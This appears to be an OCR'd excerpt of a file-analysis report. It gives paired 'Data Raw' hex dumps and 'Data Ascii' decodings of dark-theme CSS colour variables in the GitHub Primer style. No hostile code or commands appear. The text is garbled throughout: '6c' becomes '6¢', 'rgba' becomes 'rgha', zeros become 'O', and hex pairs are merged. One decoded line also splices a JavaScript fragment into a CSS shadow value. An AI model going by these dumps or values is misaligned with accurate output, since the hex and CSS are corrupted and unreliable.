66 63 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d

Data Ascii: 5,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 O transparent;--color-
primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0:
#fOf6fc;--color-scale-gray-
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Data

Data Raw: 65 2d 67 72 61 79 2d 39 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65
2d 30 3a 20 23 63 61 65 38 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 31 3a 20 23 61 35 64 36
66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 32 3a 20 23 37 39 63 30 66 66 3b 2d 2d 63 6f 6¢ 6f 72
2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 33 3a 20 23 35 38 61 36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6C
75 65 2d 34 3a 20 23 33 38 38 62 66 64 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 35 3a 20 23 31 66 3
666 65 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 36 3a 20 23 31 31 35 38 63 37 3b 2d 2d 63 6f 6¢
6f 72 2d 73 63 61 6¢ 65 2d 62 6¢ 75 65 2d 37 3a 20 23 30 64 34 31

Data Ascii: e-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79cO0ff;--
color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158¢7;--
color-scale-blue-7: #0d41

Data Raw: 66 37 62 37 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 34 3a 20 23 66 38 35 31 34 39 3b 2d
2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 35 3a 20 23 64 61 33 36 33 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6C
65 2d 72 65 64 2d 36 3a 20 23 62 36 32 33 32 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 37 3a 20 23
38 65 31 35 31 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 38 3a 20 23 36 37 30 36 30 63 3b 2d 2d 63 6f
6¢ 6f 72 2d 73 63 61 6¢ 65 2d 72 65 64 2d 39 3a 20 23 34 39 30 32 30 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70
75 7270 6¢ 65 2d 30 3a 20 23 65 64 64 65 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 70 75 72 70 6¢€ 65 2d 31
3a 20 23 65 32 63 35 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61

Data Ascii: f7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-
7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-
1: #e2c5ff;--color-sca

Data Raw: 64 64 69 74 69 6f 6e 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69
66 66 2d 62 6¢ 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 66 67 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66
66 2d 62 6¢ 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 6e 75 6d 2d 62 67 3a 20 72 67 62 61 28 36 33 2c 31 38 35 2¢ 38 30 2¢
30 2e 33 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66 66 2d 62 6¢ 6f 62 2d 61 64 64 69 74 69 6f 6e 2d 6¢ 69 6e 65 2d 62 67 3a
207267 62 61 28 34 36 2c 31 36 30 2c 36 37 2c 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 64 69 66 66 2d 62 6¢ 6f 62 2d
61 64 64 69 74 69 6f 6e 2d 77 6f 72 64 2d 62 67 3a 20 72 67 62 61 28 34 36 2c 31 36 30 2c 36 37 2¢ 30 2e 34 29 3b 2d
2d 63 6f 6¢ 6f 72 2d 64 69 66 66 2d 62 6c 6f 62 2d 64 65 6C 65

Data Ascii: ddition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,
185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--
color-diff-blob-dele

Data Raw: 64 2d 69 6¢ 6¢ 65 67 61 6¢ 2d 62 67 3a 20 23 38 65 31 35 31 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79
6C 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 61 72 72 69 61 67 65 2d 72 65 74 75 72 6e 2d 74 65 78 74 3a 20 23 66 30
66 36 66 63 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 61 72 72 69 61
67 65 2d 72 65 74 75 72 6e 2d 62 67 3a 20 23 62 36 32 33 32 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6C 69 67 6
874732d73796e 7461782d 73747269 6e 67 2d 72 65 67 65 78 70 3a 20 23 37 65 65 37 38 37 3b 2d 2d 63 6f 6¢ 6f
722d 707265747479 6¢ 69 67 68 74 732d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 6¢ 69 73 74 3a 20 23 66 32 63
63 36 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74

Data Ascii: d-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-
return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--
color-prettylight

Data Raw: 72 72 6f 72 2d 73 65 6¢ 65 63 74 69 6f 6e 2d 62 67 3a 20 72 67 62 61 28 35 36 2c 31 33 39 2¢ 32 35 33 2¢ 30
2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 61 63 74 69 76 65 6C 69 6€ 65 2d 62 67 3a 20 72 67
62 61 28 31 31 30 2c¢ 31 31 38 2c 31 32 39 2¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 6d
6174 63 68 69 6e 67 62 72 61 63 6b 65 74 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f
64 65 6d 69 72 72 6f 72 2d 6¢ 69 6e 65 73 2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d
69 7272 6f 72 2d 73 79 6e 74 61 78 2d 63 6f 6d 6d 65 6 74 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f
64 65 6d 69 72 72 6f 72 2d 73 79 6e 74 61 78 2d 63 6f 6e 73

Data Ascii: rror-selection-bg: rgha(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-code
mirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #
8b949e;--color-codemirror-syntax-cons

Data Raw: 64 6f 77 6e 2d 73 68 61 64 6f 77 3a 20 72 67 62 61 28 31 2c 34 2c 39 2c 30 2e 33 29 3b 2d 2d 63 6f 6¢ 6f 72
2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d
63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6€ 2d 68 6f 76 65 72 2d 62 67 3a 20 72 67 62 61 28 31 31 30
2c 31 31 38 2c 31 32 39 2¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6€ 2d 62 74
6e 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f
70 64 6f 77 6e 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 67 3a 20 72 67 62 61 28 31 31 30 2c 31 31 38 2c¢ 31 32 39 2¢ 30 2e
3129 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 73 63 72

Data Ascii: down-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-
bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgb
a(110,118,129,0.1);--color-checks-scr

Data Raw: 6f 67 6¢c 69 6e 65 2d 77 61 72 6e 69 6e 67 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 64 32 39 39 32 32 3b 2d 2d
63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d 77 61 72 6€ 69 6€ 67 2d 62 67 3a 20 72 67 62 61 28 31 38
37 2c 31 32 38 2¢ 39 2¢ 30 2e 31 3529 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d 63 6f 6d
6d 61 6e 64 2d 74 65 78 74 3a 20 23 35 38 61 36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6C 69 6
65 2d 73 65 63 74 69 6f 6e 2d 74 65 78 74 3a 20 23 33 66 62 39 35 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d
61 6e 73 69 2d 62 6¢ 61 63 6b 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2
d 62 6¢ 61 63 6b 2d 62 72 69 67 68 74 3a 20 23 31 36 31 62 32 32

Data Ascii: ogline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logl
ine-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-
ansi-black-bright: #161b22

Data Raw: 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c¢ 20 32 35 35 2c 20 30 2e 30 34 29 2¢ 20 30 20 33 70 78 20 32
707820 72 67 62 61 28 32 35 35 2¢ 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 30 37 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b
74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72 2d 6d 75 74 65 64 3a 20 72 67 62 28 32 3535 20 32 3535 20 3
2353529203020 30 20 30 20 32 70 78 20 69 6e 73 65 74 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72 2d 62 67 3a 20
72 67 62 61 28 32 35 35 2¢ 32 35 35 2¢ 32 35 35 2c 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74 61 72 2d 62 6f 72
64 65 72 3220 72 67 62 61 28 32 34 30 2c 32 34 36 2c 32 35 32 2c¢ 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 76 61 74
6172 2d 73 74 61 63 6b 2d 66 61 64 65 3a 20 23 33 30 33 36 33 64 3b

Data Ascii: rgha(255, 255, 255, 0.04), 0 3px 2px rgha(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted:
rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgha(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--
color-avatar-stack-fade: #30363d;
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Data

Data Raw: 68 74 3a 20 23 37 39 63 30 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 3a 20 23 62
6338 63 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 2d 62 72 69 67 68 74 3a 20 23 64 32 61
38 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 63 79 61 6e 3a 20 23 33 39 63 35 63 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61
6e 7369 2d 63 79 61 6e 2d 62 72 69 67 68 74 3a 20 23 35 36 64 34 64 64 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 74 65
78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 62 67 3a 20 23 32 31 32 36 32 64 3b 2d 2d 63 6
f6c 6f 72 2d 62 74 6e 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 32 34 30 2c 32 34 36 2¢ 32 35 32 2c 30 2e 31 29 3b 2d
2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 73 68 61 64 6f 77 3a 20 30 20 30

Data Ascii: ht: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--
color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgha(240,246,252,0
.1);--color-btn-shadow: 0 0

Data Raw: 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75 73 2d 62 6f 72 64 65 72 3a 20 72 67 62 61 28 32
3430 2c 32 34 36 2c 32 35 32 2c 30 2e 31 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75
732d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 33 70 78 20 72 67 62 61 28 34 36 2c 31 36 34 2¢ 37 39 2c 30 2e 34 29
3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 69 63 6f 6e 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢
6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35
2c¢ 32 35 35 2¢ 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 74 65 78 74 3a 20 23 35 38 61
36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 6f 75 74 6¢ 69

Data Ascii: lor-btn-primary-focus-border: rgha(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgha(46,164,
79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text:
#58a6ff;--color-btn-outli

Data Raw: 6e 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d
63 6f 75 6e 74 65 72 2d 62 67 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35 2c 32 35 35 2¢ 30 2e 32 29 3b 2d 2d 63 6f 6¢c 6f
722d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6¢ 65 63 74 65 64 2d 74 65 78 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63
6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6¢ 65 63 74 65 64 2d 62 67 3a 20 23 62 36 32 33 32 34 3b 2d 2d
63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6¢ 65 63 74 65 64 2d 62 6f 72 64 65 72 3a 20 23 66 66 37 62 37
32 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 73 65 6¢ 65 63 74 65 64 2d 73 68 61 64 6f 77 3a 20 30 20
3020 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6¢ 6 72

Data Ascii: n: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--
color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #{f7b72;--color-btn-danger-selected-shadow: 0
0 transparent;--color

Data Raw: 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 63 68 65 63 6b 65 64 2d 68 6f 76 65 72 2d 62 67 3a 20 72 67
62 61 28 33 31 2¢ 31 31 31 2c 32 33 35 2¢ 30 2e 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b
2d 63 68 65 63 6b 65 64 2d 61 63 74 69 76 65 2d 62 67 32 20 72 67 62 61 28 33 31 2c 31 31 31 2¢ 32 33 35 2c 30 2¢e 36
3529 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 63 68 65 63 6b 65 64 2d 62 6f 72 64 65 72 3a
20 23 35 38 61 36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 6b 6e 6f 62 2d 63 68 65 63 6b 65 64 2d 62 67 3a
20 23 31 66 36 66 65 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 6b 6e 6f 62 2d 63 68 65 63 6b 65 64 2d 64 69 73
61 62 6¢ 65 64 2d 62 67 3a 20 23 34 38 34 66 35 38 3b 2d 2d 63 6f 6¢

Data Ascii: r-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,23
5,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-
disabled-bg: #484f58;--col

Data Raw: 2d 63 6f 6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 66 67 3a 20 23 64 32 39 39 32 32 3b 2d 2d 63 6f 6¢ 6f 72
2d 61 74 74 65 6e 74 69 6f 6e 2d 65 6d 70 68 61 73 69 73 3a 20 23 39 65 36 61 30 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 74
74 65 6e 74 69 6f 6e 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 31 38 37 2¢ 31 32 38 2¢ 39 2c 30 2e 34 29 3b 2d 2d 63 6f
6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 73 75 62 74 6¢ 65 3a 20 72 67 62 61 28 31 38 37 2c 31 32 38 2¢ 39 2¢ 30 2e 3
13529 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 65 76 65 72 65 2d 66 67 3a 20 23 64 62 36 64 32 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 6
576 65 72 65 2d 65 6d 70 68 61 73 69 73 3a 20 23 62 64 35 36 31 64 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 65 76 65 72 65 2d 6d
7574 65 64 3220 72 67 62 61 28 32 31 39 2¢ 31 30 39 2¢ 34 30 2¢

Data Ascii: -color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);-
-color-attention-subtle: rgha(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-
muted: rgha(219,109,40,

Data Raw: 75 73 3a 20 30 20 30 20 30 20 33 70 78 20 23 30 63 32 64 36 62 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d
62 6¢ 61 63 6b 3a 20 23 30 31 30 34 30 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 77 68 69 74 65 3a 20 23 66 66
66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 30 3a 20 23 66 30 66 36 66 63 3b 2d 2d 63 6f 6¢
6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 31 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67
726179 2d 32 3a 20 23 62 31 62 61 63 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 33 3a 20 23 38
62 39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 34 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6
f6c 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 35 3a 20 23 34 38

Data Ascii: us: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--
color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #blbac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--
color-scale-gray-5: #48

Data Raw: 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 32 3a 20 23 66 66 61 36 35 37 3b 2d 2d 63 6f 6¢ 6f 72 2d
7363 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 33 3a 20 23 66 30 38 38 33 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72
61 6e 67 65 2d 34 3a 20 23 64 62 36 64 32 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6€ 67 65 2d 35 3a 20
2362 64 35 36 31 64 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 36 3a 20 23 39 62 34 32 31 35 3b
2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 37 3a 20 23 37 36 32 64 30 61 3b 2d 2d 63 6f 6¢ 6f 72 2d
7363 61 6¢ 65 2d 6f 72 61 6e 67 65 2d 38 3a 20 23 35 61 31 65 30 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 6f 72
61 6e 67 65 2d 39 3a 20 23 33 64 31 33 30 30 3b 2d 2d 63

Data Ascii: lor-scale-orange-2: #{fa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-or
ange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5ale02;--
color-scale-orange-9: #3d1300;--c

Data Raw: 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 37 3a 20 23 38 37 32 30 31 32 3b 2d 2d 63 6f
6¢ 6f 72 2d 73 63 61 6¢ 65 2d 63 6f 72 61 6¢ 2d 38 3a 20 23 36 34 30 44 30 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65
2d 63 6f 72 61 6¢ 2d 39 3a 20 23 34 36 30 37 30 31 7d 7d 40 6d 65 64 69 61 28 70 72 65 66 65 72 73 2d 63 6f 6¢ 6f 72 2d
7363 68 65 6d 65 3a 20 64 61 72 6b 29 7b 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 61 75 74 6f 5d 5b 64 61 74
612d 64 61 72 6b 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 7b 2d 2d 63 6f 6¢ 6f 72 2d 63 61 6e 76 61 73 2d 64 65 66 61 75
6c 74 2d 74 72 61 6e 73 70 61 72 65 6e 74 3a 20 72 67 62 61 28 31 33 2c 31 37 2¢ 32 33 2¢ 30 29 3b 2d 2d 63 6f 6¢ 6f
72 2d 70 61 67 65 2d 68 65 61 64 65 72 2d 62 67 3a 20 23 30 64

Data Ascii: ;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefer
s-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgha(13
,17,23,0);--color-page-header-bg: #0d
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Data

Data Raw: 69 65 72 2d 69 6d 70 6f 72 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69
67687473 2d 7379 6e 74 61 78 2d 65 6e 74 69 74 79 2d 74 61 67 3a 20 23 37 65 65 37 38 37 3b 2d 2d 63 6f 6¢ 6f 72
2d 7072 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6b 65 79 77 6f 72 64 3a 20 23 66 66 37 62 37 32 3b 2d
2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 72 69 6e 67 3a 20 23 61 35 64 3
6 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 76 61 72 69 61 62 6C 65
3a 2023 66 66 61 36 35 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 62
72 61 63 6b 65 74 68 69 67 68 6¢ 69 67 68 74 65 72 2d 75 6e 6d 61 74

Data Ascii: ier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;-
-color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-bracket
highlighter-unmat

Data Raw: 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 63 6f 6e 73 74 61 6e 74 2d
6f 74 68 65 72 2d 72 65 66 65 72 65 6e 63 65 2d 6¢ 69 6e 6b 3a 20 23 61 35 64 36 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f
64 65 6d 69 72 72 6f 72 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f
72 2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 73
2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 6d 61
72 6b 65 72 2d 74 65 78 74 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75
74746572 6d 61 72 6b 65 72 2d 73 75 62 74 6¢ 65 2d 74

Data Ascii: -color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-c
odemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-
codemirror-guttermarker-subtle-t

Data Raw: 31 62 32 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 69 6e 70 75 74 2d 73 68 61 64 6f 77 3a 20 30 20
3020 30 20 31 70 78 20 28 6f 62 6a 29 20 3d 3e 20 67 65 74 5f 31 2e 64 65 66 61 75 6¢ 74 28 6f 62 6a 2c 20 70 61 74 68
29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 38 35 31 34 39 3b 2d 2d
63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6e 64 69 6e 67 3a 20 23 64 32 39 39 32 32 3b 2d 2d 63 6f
6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 73 75 63 63 65 73 73 3a 20 23 32 65 61 30 34 33 3b 2d 2d 63 6f 6¢ 6f
72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 6e 65 75 74 72 61 6¢ 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72 2d
63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 74 65 78

Data Ascii: 1b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f
85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral:
#8b949e;--color-checks-dropdown-tex

